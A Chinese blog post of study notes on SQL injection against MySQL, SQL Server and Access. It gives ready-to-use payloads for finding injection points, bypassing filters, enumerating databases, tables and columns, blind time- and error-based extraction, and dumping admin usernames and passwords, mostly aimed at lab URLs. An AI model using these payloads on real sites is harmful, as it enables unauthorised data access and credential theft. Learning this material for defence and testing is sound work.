Mysql、Access、Sqlsever数据库注入

本周主要学习的事SQL注入相关的细节信息,包括数据库枚举方式,判定注入点的方式,注入形式等等,具体如下:

【一、判断数据库类型 】

看到一个网站首先要判断网站的数据库类型,首先了解主流的三款数据库

1、Access一般用在小网站上,类似企业站,功能比较简单,对数据要求不高;2、Mssql是一个比较大的完善的数据库,在windows上常用,配NETASP等程序。3、Mysql是一个小型的公开源代码的免费数据库,在windows,linux上都常用,和PHP程序组成一对完美搭档

一般PHP 为mysql,asp、aspx为sql sever

mysql数据库 php网页后缀用'来看是否报错,确定报错后判断闭合条件

Mysql【a\Mysql闭合条件查询】

http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型

数字型不用特意加字符,直接 and1=2检测是否有注入点;

http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin  --+  字符型

字符型需要在'xx--+ 中间输入命令,'and1=2--+检测是否有注入点;

http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+  搜索型

搜索型需要在%'xx--+中间输入命令,%'and1=2--+检测是否有注入点;

http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查询数据库

宽字节型需要在%df%27xx%23中间输入命令,%df%27and1=2%23检测是否有注入点,查询列表值得时候’‘要用0x十六进值代替;

【 b/SQL注入过滤限制绕过方法】

1、大小写过滤:http://xxxx?id=-1 Union SELect 1,2,3

2、空格过滤:http://xxxx?id=-1/**/uninon/**/...  (标黄代替空格)

3、空格和: http://xxxx?id=-1%252f%252a*/and%252f%252a*/1=1

相当于是--http://xxxx?id=-1 and 1=1

【C/数据库枚举查询】

联合查询数据库名,表名,列值,内容方式:

查询数据库:http://xxxxxx? union select null,schema_name,null from information_schema.schemata

查询当前数据库:http://xxxxxx? union select 1,database(),null

查询当前版本信息:http://xxxxxx? union select 1,user,@@version,null

查询数据表:http://xxxxxx? union select null,table_name,null from information_schema.tables where tabale_schema='xxx'

查询数据字段:http://xxxxxx? union select null,column_name,null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'

查询详细信息:http://xxxxxx? union select null,column_name,null from schema_name.columa_name

group_concat()查询全部列表 ;

【D/盲注】

• 基于布尔SQL盲注--构造逻辑判断

mid()函数

此函数为截取字符串一部分。MID(column_name,start[,length])

Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

用法和MID用法一样的;

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n )        string为要截取的字符串,n为长度。

利用left(database(),1)进行尝试

http://127.0.0.1/test/qwe/sql/01.php?id=1%20and%20left(@@version,1)=5

查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

• 基于时间的SQL盲注--延时注入

延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。

延时注入作为最精准的注入;

首先我们确定该页面存在延时注入。延时注入的使用环境多为常规注入无法正常显示数据的情况下,由于时间问题我们就写容错,直接进行延时注入。

假设我们输入常规注入语句页面没有变化,带入“and sleep(2)”后页面响应时间出现明显变化,那么就基本可以确定这是一个延时注入。

语句:select if(ascii(mid(user(),1,1))=114,sleep(2),1);  该语句的意思为查询user()用户名截取第一个字符 然后跟114对比(114为r的ascii码),如果条件成立执行sleep(2)延时2秒,否则执行查询输出1

首先我们用通过union查询字段长度。得到字段长度为3.

带入查询语句,我们首先需要知道我们想要得到数据的长度,这里我们以查询数据库名为例。在我们猜测7时,if条件成立执行sleep函数,证明database()的长度为7

http://127.0.0.1/index.php?id=1 and if(length(database())=7,sleep(2),1)

知道了长度我们要做的就是猜解每一位是什么。通过mid函数取database的第一位进行对比,条件成立执行sleep函数,115为s的ascii码

http://127.0.0.1/test/qwe/sql/8.php?id=1%20and%20if(ascii(mid(database(),1,1))=115,sleep(2),1)

接下来一个个猜解

•基于报错的SQL盲注--报错注入

基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,

它的特点是注入速度快,但是语句较复杂,大部分情况只能用limit依次猜解

语句:and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue()  报错语句用法

http://127.0.0.1/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

updatexml()报错语句用法

http://127.0.0.1/index.php?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

【两个语句把user()替换成相关的其他语句一样用】

SQLsever【a\Sql sever数据库注入】

基础查询

查询所有:

Select * from 表名

select * from Student

1、说明:创建数据库

CREATE DATABASE database-name

2、说明:删除数据库

drop database dbname

SELECT TOP 2 * FROM table_name    mssql

同等于

SELECT * FROM table_name LIMIT 0,2    mysql

判断数据库类型

Access:

and (select id from MSysAccessObjects) >0 返回正常说明是access

MSSQL:

and (select id from sysobjects) >0 返回正常说明是mssql

MSSSQL  权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等 system

db权限:文件管理,数据库操作等 users-adminstrators

public权限:数据库操作 guest-users

注入点权限判断

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员

and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限

and 1=(select is_srvrolemember('public')) //判断是否为public权限

----------------

;declare @d int //判断MsSQL支持多行语句查询

and user>0 //获取当前数据库用户名

and db_name()>0 //获取当前数据库名称

and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

----------------

注入过程:

'查注入点

1、获取一个数据库

and 1=(select top 1 name from master..sysdatabases where dbid>4)

如果你要查询的是所有数据库(用户/系统):

select * from master..sysdatabases

如果你要查询的是用户数据库,则使用:

select * from master..sysdatabases where dbid > 4

如果你要查询的是系统数据库,只需要把where字句改为dbid < 4即可。

查询下一个数据库

and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')

以此类推可以查询全部的数据库

2、获取第一张表 threads

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

获取第二张表 users

?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )

获取第三张表 forums

?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' and name <> 'users' )

3、获取第一列列名 uname

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))

获取第二列列名 upass

?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )

4、获取第一个用户名

?id=1 and 1=(select top 1 uname from users)

获取第一个用户名对应的密码

?id=1 and 1=(select top 1 upass from users )

ACCESS【a\Access数据库注入】

判断注入点

And 1=1

And 1=2

/

-0

判断数据库类型

and exsits (select * from msysobjects)>0  access

and exsits (select * from sysobjects)>0    sqlserver

EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False

猜表名:

and exists (select * from 你要猜得表名)查看是否存在表名 (存在的情况下页面刷新正常,同理猜字段一样的 )

判断数据库表

and exists (select * from admin)

判断数据库列名

and exists (select admin from admin)

猜列名的字段名: and exists (select 你要猜的字段名 from 你已经才出来的表名)查看是否存在字段名

判断字段长度

order by 20

报错

and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin

数据库联合查询

and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容

  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,872评论 0 2
  • Spark SQL, DataFrames and Datasets Guide Overview SQL Dat...
    Joyyx阅读 8,282评论 0 16
  • 一. Java基础部分.................................................
    wy_sure阅读 3,731评论 0 11
  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 31,293评论 18 399
  • 今天醉得不轻。 先问问各位,做了#我在吃药的时候看了一条新闻#这个心理测试了吗?答案如何啊? 人家回复你的是“药”...
    贝妈是我阅读 308评论 0 0